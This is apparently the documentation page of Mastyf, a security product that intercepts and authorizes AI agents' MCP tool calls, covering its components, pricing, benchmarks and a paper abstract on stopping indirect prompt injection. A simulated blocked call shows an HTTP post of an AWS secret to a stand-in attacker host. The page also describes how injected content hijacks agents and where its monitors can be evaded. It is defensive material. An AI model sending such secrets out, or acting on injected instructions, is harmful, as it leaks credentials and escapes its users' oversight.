Documentation
How Mastyf enforces policy on agent tool calls, what each component does, and how to run it.
Overview
Mastyf is an AI agent security platform that enforces policy at the execution boundary — combining runtime authorization, continuous adversarial testing, MCP supply-chain trust, and centralized enterprise fleet governance. The model is not the security boundary: the agent proposes, Mastyf authorizes, and infrastructure executes.
- The model is not the security boundary
- Autoregressive Transformer text output cannot synthesize execution authority across arbitrary tool chains.
- The agent proposes. Mastyf authorizes.
- Every tool invocation is intercepted and validated against capability scopes, schemas, and relational invariants before dispatch.
- Non-ALLOW → zero backend execution
- Complete mediation guarantees that any blocked or uncertain action results in zero backend bytes transmitted to tools.
Quickstart
Pick the setup that matches where your agents run.
Desktop agents
Protect Claude Desktop, Cursor, and Windsurf with Mastyf Shield for macOS (.dmg), Windows (.exe), or Linux (.AppImage, .deb).
Download ShieldDeveloper CLI
Install the gateway locally and route your MCP servers through it from your client config.
Developer quickstartProduction
Run Mastyf Gateway as an inline sidecar proxy in front of your agents and pipelines.
Gateway setupHow enforcement works
Mastyf sits on the MCP transport between the agent and its tools. Every tool invocation is intercepted and evaluated before dispatch. Shield runs four gates in order; if any check fails, the call is severed before a single byte reaches the backend.
Gate 1 (Schema & Parse Clamping): Validates tool name and argument JSON structures against pre-compiled AST schemas. Drops malformed or oversized payloads in under 1 microsecond.
Decision console
Step through four tool calls and see the decision for each: the client, the invariant that fired, and what reached the tool.
Simulated calls. Cycling every 6s; pick one to hold it.
- Client
- Cursor Agent (MCP)
- Tool
network.http_post- Taint class
- OWASP ASI-01 / DIFC Violation
- Invariant
difc.taint.untrusted_egress_sink
{"url": "https://attacker-c2.net/exfil", "data": "env.AWS_SECRET"}Kernel invariantUntrusted taint tag propagated from web context prohibited from accessing egress socket sink.
Platform components
Five components, from a developer desktop sidecar to enterprise fleet governance.
Mastyf Shield
Appliance and sidecarA hardware-grade reference monitor that runs as a lightweight, tamper-proof sidecar alongside your agent processes. Evaluates every tool invocation across 4 deterministic gates in <4.8µs. If any check fails, the transport wire is severed before a single byte reaches the backend.
Mastyf Gateway
Runtime reverse proxyHigh-throughput fail-closed reverse proxy for MCP JSON-RPC, stdio, and HTTP tool calls. Processes >330,000 requests/sec with sub-millisecond overhead.
Explore Gateway docsMastyf Swarm
Adversarial CI/CDAutomated adversarial runner that stress-tests your agent’s execution boundary before deployment using thousands of multi-turn jailbreak and indirect injection vectors.
Run Swarm in CIMastyf Trust
MCP supply chainStatic vulnerability scanner and behavioral registry for Model Context Protocol (MCP) servers. Detects excessive permissions, environment leaks, and known CVEs.
Look up MCP server trustMastyf Control Plane
Enterprise fleet governanceCentralized dashboard and policy distribution network for enterprise agent deployments. Distribute signed YAML policies across thousands of agent runners, verify Ed25519 tamper-proof audit trails, and stream events to your SIEM.
SOC2, ISO 27001 ready- Cryptographic audit
- Ed25519 signed receiptsrcpt_msh_89f02c91a0...
- Enterprise telemetry
- Real-time SIEM forwardingDatadog, Splunk, S3
- Identity and RBAC
- SSO and team workspacesGoogle and GitHub OAuth
Integrations
Works with any client, IDE, or framework that speaks the Model Context Protocol.
- Claude DesktopMCP native
- Cursor AIAgent IDE
- Windsurf / CodeiumFlow agent
- LangChainAgent mesh
- LlamaIndexData agents
- OpenAI SwarmMulti-agent
- Model Context ProtocolStandard
- AutoGenConversational
- Python SDKIntegration
- Docker ComposeContainer
- Agent integrations
- 10+
- Intercepted calls / sec
- 330,000+
- Protection overhead
- <4.8µs
Shield desktop app
A lightweight, tamper-proof sidecar that intercepts every MCP tool call on your machine. No cloud round trip: decisions run locally.
Mastyf ShieldClaude, Cursor, WindsurfActive, port 4000| Time | Verdict | Tool | Gate | Latency |
|---|---|---|---|---|
| --:--:-- | Blocked | filesystem.read_file | CBAC Perimeter | 1.8µs |
| --:--:-- | Allowed | weather.lookup | Policy Clear | 1.9µs |
| --:--:-- | Blocked | network.http_post | DIFC Taint | 2.4µs |
| --:--:-- | Allowed | git.diff | Policy Clear | 2.1µs |
Performance and cost
Cloud LLM guardrails add around 850ms per tool call and bill per check. Mastyf decides locally in under 4.8µs for a flat monthly price. Adjust the inputs to compare.
| Measure | Cloud LLM guardrailsOpenAI, Lakera, NeMo | Mastyf Shield sidecarHardware-grade monitor |
|---|---|---|
| Execution latency | +850 ms / call | < 4.8 µs (0.004 ms) |
| Agent idle waiting time | 177 hrs / month | 3.6 sec total |
| Data privacy | Prompts sent to 3rd party | 100% on-device local |
| Monthly cost | $2,250 / mo | $147 / mo flat |
Cloud guardrails incur high variable API costs and break fail-closed when the network connection drops.
Download Mastyf ShieldBenchmarks
Results on standard adversarial evaluation suites, with the methodology and proofs documented in an open-access preprint.
629 adversarial episodes, exact clean utility parity, no false positives
4,216 multi-turn jailbreak vectors, tool-level interception, zero bypass
Fast-path gateway, <4.8µs per call overhead, zero memory leaks
Open-access preprint, v5.3.DOI 10.5281/zenodo.22501491CC-BY 4.0, proofs and evaluation methodology included.
How Mastyf compares
Most agent security tools moderate the conversation or audit logs after the fact. Mastyf enforces at the execution boundary: it authorizes each tool call against your policy, tracks workflow state, and is tested continuously by adversarial runs.
| Capability | Mastyf | Microsoft Agent Toolkit | Noma Security | Obsidian | Nightfall |
|---|---|---|---|---|---|
| Runtime tool execution mediation | Yes (deterministic proxy) | In-app hooks | Network gateway | Post-action audit | DLP proxy |
| Zero backend bytes on blocked actions | Guaranteed (Axiom A1) | No (framework bound) | Varies | No | Yes (data plane) |
| Capability-Based Access Control (CBAC) | Yes (HMAC + Token Table) | Partial (RBAC) | Partial | No | No |
| Relational parameter invariants | Yes (4 typed invariants) | No | No | No | No |
| Decentralized Info Flow (DIFC) | Yes (taint propagation) | No | No | No | Pattern matching |
| Workflow sequence & certainty constraints | Yes (FSM state tracking) | Partial | No | No | No |
| Subordinate learned semantic auditor | Yes (Mastyf Guard 1.5B V6) | LLM judge | Cloud classifier | Model guardrails | Cloud detectors |
| Continuous adversarial CI/CD (Swarm) | Yes (Security Swarm) | PyRIT (separate) | Red-teaming service | No | No |
| MCP package trust & risk scoring | Yes (Mastyf Trust) | Marketplace check | Tool discovery | Asset inventory | No |
| Open-source self-hostable core | Yes (AGPL-3.0) | Yes (MIT/Apache) | No (SaaS only) | No (SaaS only) | No (SaaS only) |
| Published research & formal proofs | Yes (Theorems 1–3, Prop 1) | Whitepapers | Marketing docs | Reports | Docs |
Based on publicly documented product architectures as of 2026, including Microsoft Agent Governance Toolkit, Noma, Obsidian Security, and Nightfall MCP Gateway.
Guarantees and limits
What the architecture guarantees, and the limits documented in the published research, side by side.
Guaranteed
Under the complete mediation axioms (A1–A6) and reference monitor integrity:
- Under complete mediation axioms (A1–A6), no tool call outside authorized capability scopes can be dispatched to backend infrastructure.
- Any blocked or uncertain tool invocation produces strictly zero bytes transmitted across the tool transport wire.
- Learned semantic models (Mastyf Guard) can revoke or escalate authority, but can never synthesize or grant permission (Afinal ⊆ Astruct).
- Unconfirmed tool execution (ExecutionCertainty = UNKNOWN) cannot silently advance dependent workflow state (Theorem 3).
Not guaranteed
Constraints documented in the published research:
- Mastyf does not make an autoregressive Transformer intrinsically safe; it prevents compromised model outputs from executing privileged actions.
- Semantic neural auditing is distribution-bounded (empirical FNR of 21.5% on in-scope manipulations prior to boundary sharpening) and subject to adversarial evasion without deterministic invariants.
- Decentralized Information Flow Control (DIFC) tracks explicit data flow channels; it does not eliminate covert timing or semantic side-channels.
- Protection guarantees apply exclusively to tool execution paths routed through the Mastyf reference monitor.
Execution states
How Mastyf tracks a tool call so an unconfirmed execution can never silently advance a workflow.
| State | Meaning |
|---|---|
NOT_SENTWire isolation | ExecutionBytes(a) = 0. The call was rejected by CBAC, DIFC, or the Guard auditor before any socket or pipe write happened. |
SENT_CHILD_NO_RESPONSEDispatched, unconfirmed | ExecutionBytes(a) > 0, but no verified response has arrived. ExecutionCertainty(a) = UNKNOWN, so dependent steps stay locked. |
RESPONSE_RECEIVEDVerified | The response is verified and an execution receipt is generated. Only now can dependent workflow steps be authorized. |
Paper and proofs
The abstract, the invariants and theorems with their proofs, the six-regime results, and a BibTeX entry. To read the paper itself, open the research page.
Capability-Mediated Perimeters for Secure AI Agent Tool Execution
Conditional Non-Escalation Invariants and Empirical Evaluation Against Indirect Prompt Injection
Autonomous artificial intelligence agents executing over extensible tool interfaces (such as Anthropic’s Model Context Protocol) operate with ambient authority over connected tools. Because autoregressive Transformers ingest instructions and untrusted third-party data within a single homogeneous context window, adversarial observations can manipulate the model into executing unintended privileged actions — the classic Confused Deputy problem.
We introduce an architectural perimeter that enforces complete mediation, least privilege, four relational argument invariants (destination containment, scope boundedness, privilege monotonicity, and monetary clamping), and execution-certainty semantics. We prove that external capability mediation isolates systems even when the model is completely compromised by indirect injection, formalizing the core invariant:
Evaluated across 6 distinct regimes totaling 6,662 instances (including UIUC InjecAgent, AgentDojo, and AI Safety Bench), the integrated perimeter achieves 99.52% defense on interactive episodes, 98.43% defense on InjecAgent at 267.7ms CPU latency, and zero false alarms on benign workloads.
Plans and licensing
Every plan’s full feature list, and how licensing and payment work.
| Plan | Includes |
|---|---|
| Community$0Free forever · AGPL-3.0For individual developers, hobbyists, and researchers securing local agents. |
|
| Developer Pro$49per monthFor engineers securing local coding assistants (Claude Desktop, Cursor, Windsurf). |
|
| Team$499per monthFor fast-moving AI engineering teams deploying customer-facing autonomous agents. |
|
| Business$1,999per monthFor mid-market companies scaling multi-agent production infrastructure. |
|
| EnterpriseCustomStarts ~$35k ARRFor regulated enterprises, financial institutions, and mission-critical systems. |
|
Open source core
The Mastyf Gateway, YAML policy engine, Security Swarm fixtures, and MCP Trust directory are open source under AGPL-3.0. No vendor lock-in: you can read every line of the enforcement code.
GitHub repositoryCommercial platform
Paid plans add the Control Plane for fleets, tamper-evident audit evidence, production Mastyf Guard models, compliance exports, and support SLAs.
Payment
Card, Apple Pay, and bank payments are processed by Lemon Squeezy, which handles VAT and sales tax and delivers license keys instantly.
Lemon Squeezy storefrontThreat landscape
A live, uncurated feed of public reporting on prompt injection, tool poisoning, and agent breaches. Each of these happened because an agent executed a tool call nobody checked.
- Feed status
- Active dispatch
- Live coverage
- Streaming
FAQ
mastyf.ai is perimeter security for AI agents using MCP. It intercepts every tool call, enforces your security policy, blocks violations before execution, and provides trust scores for npm MCP packages — all from one open-source platform.
Get help
Email mastyf.support@gmail.com or open an issue on GitHub.
GitHub issues